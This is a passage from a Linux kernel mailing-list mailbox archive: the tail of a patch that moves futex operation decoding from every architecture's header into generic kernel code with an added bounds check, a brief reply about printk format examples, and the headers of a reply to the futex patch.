-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -125,17 +116,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/openrisc/include/asm/futex.h b/arch/openrisc/include/asm/futex.h
index 778087341977..8fed278a24b8 100644
--- a/arch/openrisc/include/asm/futex.h
+++ b/arch/openrisc/include/asm/futex.h
@@ -30,20 +30,10 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -68,30 +58,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0ba14300cd8e..c601aab2fb36 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -32,22 +32,12 @@ _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
 }
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
 	unsigned long int flags;
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
-		return -EFAULT;
-
 	_futex_spin_lock_irqsave(uaddr, &flags);
 	pagefault_disable();
 
@@ -85,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/powerpc/include/asm/futex.h b/arch/powerpc/include/asm/futex.h
index eaada6c92344..719ed9b61ea7 100644
--- a/arch/powerpc/include/asm/futex.h
+++ b/arch/powerpc/include/asm/futex.h
@@ -29,18 +29,10 @@
 	: "b" (uaddr), "i" (-EFAULT), "r" (oparg) \
 	: "cr0", "memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/s390/include/asm/futex.h b/arch/s390/include/asm/futex.h
index a4811aa0304d..8f8eec9e1198 100644
--- a/arch/s390/include/asm/futex.h
+++ b/arch/s390/include/asm/futex.h
@@ -21,17 +21,12 @@
 		: "0" (-EFAULT), "d" (oparg), "a" (uaddr),		\
 		  "m" (*uaddr) : "cc");
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, newval, ret;
 
 	load_kernel_asce();
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
 
 	pagefault_disable();
 	switch (op) {
@@ -60,17 +55,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/sh/include/asm/futex.h b/arch/sh/include/asm/futex.h
index 8e26e0ddc872..38a889edc3a6 100644
--- a/arch/sh/include/asm/futex.h
+++ b/arch/sh/include/asm/futex.h
@@ -27,21 +27,12 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	return atomic_futex_op_cmpxchg_inatomic(uval, uaddr, oldval, newval);
 }
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	u32 oparg = (encoded_op << 8) >> 20;
-	u32 cmparg = (encoded_op << 20) >> 20;
 	u32 oldval, newval, prev;
 	int ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	do {
@@ -77,17 +68,8 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = ((int)oldval < (int)cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = ((int)oldval >= (int)cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = ((int)oldval <= (int)cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = ((int)oldval > (int)cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 }
diff --git a/arch/sparc/include/asm/futex_64.h b/arch/sparc/include/asm/futex_64.h
index 4e899b0dabf7..1cfd89d92208 100644
--- a/arch/sparc/include/asm/futex_64.h
+++ b/arch/sparc/include/asm/futex_64.h
@@ -29,22 +29,14 @@
 	: "r" (uaddr), "r" (oparg), "i" (-EFAULT)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (unlikely(!access_ok(VERIFY_WRITE, uaddr, sizeof(u32))))
-		return -EFAULT;
 	if (unlikely((((unsigned long) uaddr) & 0x3UL)))
 		return -EINVAL;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -69,17 +61,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/tile/include/asm/futex.h b/arch/tile/include/asm/futex.h
index e64a1b75fc38..83c1e639b411 100644
--- a/arch/tile/include/asm/futex.h
+++ b/arch/tile/include/asm/futex.h
@@ -106,12 +106,9 @@
 	lock = __atomic_hashed_lock((int __force *)uaddr)
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int uninitialized_var(val), ret;
 
 	__futex_prolog();
@@ -119,12 +116,6 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	/* The 32-bit futex code makes this assumption, so validate it here. */
 	BUILD_BUG_ON(sizeof(atomic_t) != sizeof(int));
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -148,30 +139,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (val == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (val != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (val < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (val >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (val <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (val > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = val;
+
 	return ret;
 }
 
diff --git a/arch/x86/include/asm/futex.h b/arch/x86/include/asm/futex.h
index b4c1f5453436..f4dc9b63bdda 100644
--- a/arch/x86/include/asm/futex.h
+++ b/arch/x86/include/asm/futex.h
@@ -41,20 +41,11 @@
 		       "+m" (*uaddr), "=&r" (tem)		\
 		     : "r" (oparg), "i" (-EFAULT), "1" (0))
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -80,30 +71,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/xtensa/include/asm/futex.h b/arch/xtensa/include/asm/futex.h
index b39531babec0..eaaf1ebcc7a4 100644
--- a/arch/xtensa/include/asm/futex.h
+++ b/arch/xtensa/include/asm/futex.h
@@ -44,18 +44,10 @@
 	: "r" (uaddr), "I" (-EFAULT), "r" (oparg)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 #if !XCHAL_HAVE_S32C1I
 	return -ENOSYS;
@@ -89,19 +81,10 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (ret)
-		return ret;
+	if (!ret)
+		*oval = oldval;
 
-	switch (cmp) {
-	case FUTEX_OP_CMP_EQ: return (oldval == cmparg);
-	case FUTEX_OP_CMP_NE: return (oldval != cmparg);
-	case FUTEX_OP_CMP_LT: return (oldval < cmparg);
-	case FUTEX_OP_CMP_GE: return (oldval >= cmparg);
-	case FUTEX_OP_CMP_LE: return (oldval <= cmparg);
-	case FUTEX_OP_CMP_GT: return (oldval > cmparg);
-	}
-
-	return -ENOSYS;
+	return ret;
 }
 
 static inline int
diff --git a/include/asm-generic/futex.h b/include/asm-generic/futex.h
index bf2d34c9d804..f0d8b1c51343 100644
--- a/include/asm-generic/futex.h
+++ b/include/asm-generic/futex.h
@@ -13,7 +13,7 @@
  */
 
 /**
- * futex_atomic_op_inuser() - Atomic arithmetic operation with constant
+ * arch_futex_atomic_op_inuser() - Atomic arithmetic operation with constant
  *			  argument and comparison of the previous
  *			  futex value with another constant.
  *
@@ -25,18 +25,11 @@
  * <0 - On error
  */
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	preempt_disable();
 	pagefault_disable();
 
@@ -74,17 +67,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	preempt_enable();
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (ret == 0)
+		*oval = oldval;
+
 	return ret;
 }
 
@@ -126,18 +111,9 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 #else
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -153,17 +129,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/kernel/futex.c b/kernel/futex.c
index 0939255fc750..3d38eaf05492 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1551,6 +1551,45 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
 	return ret;
 }
 
+static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+{
+	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
+	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
+	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
+	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);
+	int oldval, ret;
+
+	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28)) {
+		if (oparg < 0 || oparg > 31)
+			return -EINVAL;
+		oparg = 1 << oparg;
+	}
+
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
+		return -EFAULT;
+
+	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
+	if (ret)
+		return ret;
+
+	switch (cmp) {
+	case FUTEX_OP_CMP_EQ:
+		return oldval == cmparg;
+	case FUTEX_OP_CMP_NE:
+		return oldval != cmparg;
+	case FUTEX_OP_CMP_LT:
+		return oldval < cmparg;
+	case FUTEX_OP_CMP_GE:
+		return oldval >= cmparg;
+	case FUTEX_OP_CMP_LE:
+		return oldval <= cmparg;
+	case FUTEX_OP_CMP_GT:
+		return oldval > cmparg;
+	default:
+		return -ENOSYS;
+	}
+}
+
 /*
  * Wake up all waiters hashed on the physical page that is mapped
  * to this virtual address:
-- 
2.14.1



From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Thu, 24 Aug 2017 11:21:13 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20170824092113.GE30286@pathway.suse.cz>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
 <20170815113625.GA2738@pathway.suse.cz>
 <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
 <20170823144824.GE27895@pathway.suse.cz>
 <20170823104947.3d84737e@gandalf.local.home>
 <b8fe55d6-9dfe-ee6e-8a78-357f1ba3b9a7@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503566481 12504 195.159.176.226 (24 Aug 2017 09:21:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 24 Aug 2017 09:21:21 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 24 11:21:14 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dkoK9-0002sz-4W
	for glk-linux-kernel-3@m.gmane.org; Thu, 24 Aug 2017 11:21:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751792AbdHXJVR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 24 Aug 2017 05:21:17 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:53845 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751259AbdHXJVQ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 24 Aug 2017 05:21:16 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id B1856AE93;
        Thu, 24 Aug 2017 09:21:14 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <b8fe55d6-9dfe-ee6e-8a78-357f1ba3b9a7@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2556465 gmane.linux.ports.parisc:27751
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2556465>

On Wed 2017-08-23 21:36:21, Helge Deller wrote:
> On 23.08.2017 16:49, Steven Rostedt wrote:
> > On Wed, 23 Aug 2017 16:48:24 +0200
> > Petr Mladek <pmladek@suse.com> wrote:
> > 
> >> +
> >> +	printk("Going to call: %pF\n", gettimeofday);
> >> +	printk("Going to call: %pF\n", p->func);
> >> +	printk("%s: called from %pS\n", __func__, _RET_IP_);
> >> +	printk("%s: called from %pS\n", __func__, __builtin_return_address(0));
> >> +	printk("Faulted at %pS\n", (void *)regs->ip);
> >> +	printk(" %s%pB\n", reliable ? "" : "? ", (void *)*stack);
> > 
> > Much better!
> 
> Petr, that's really much better.
> 
> I've already pushed the part which restructured the text upstream.

Ah, great, I have missed this.

> I'll push this part of the patch (which adds the examples) for v4.14.

Sounds good.

Thanks,
Petr


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 1/1] futex: remove duplicated code and fix UB
Date: Thu, 24 Aug 2017 10:47:56 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20170824094756.GA6346@arm.com>
References: <20170824073105.3901-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503568086 26354 195.159.176.226 (24 Aug 2017 09:48:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 24 Aug 2017 09:48:06 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: tglx@linutronix.de, mingo@redhat.com, dvhart@infradead.org,
        peterz@infradead.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paul
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Aug 24 11:47:57 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dkojx-0005EM-DR
	for lnx-sparclinux@m.gmane.org; Thu, 24 Aug 2017 11:47:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752830AbdHXJr7 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Thu, 24 Aug 2017 05:47:59 -0400
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:38240 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751264AbdHXJrz (ORCPT <rfc822;sparclinux@vger.kernel.org>);
        Thu, 24 Aug 2017 05:47:55 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 5098815AD;
        Thu, 24 Aug 2017 02:47:54 -0700 (PDT)
Original-Received: from edgewater-inn.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 1BC423F540;
        Thu, 24 Aug 2017 02:47:54 -0700 (PDT)
Original-Received: by edgewater-inn.cambridge.arm.com (Postfix, from userid 1000)
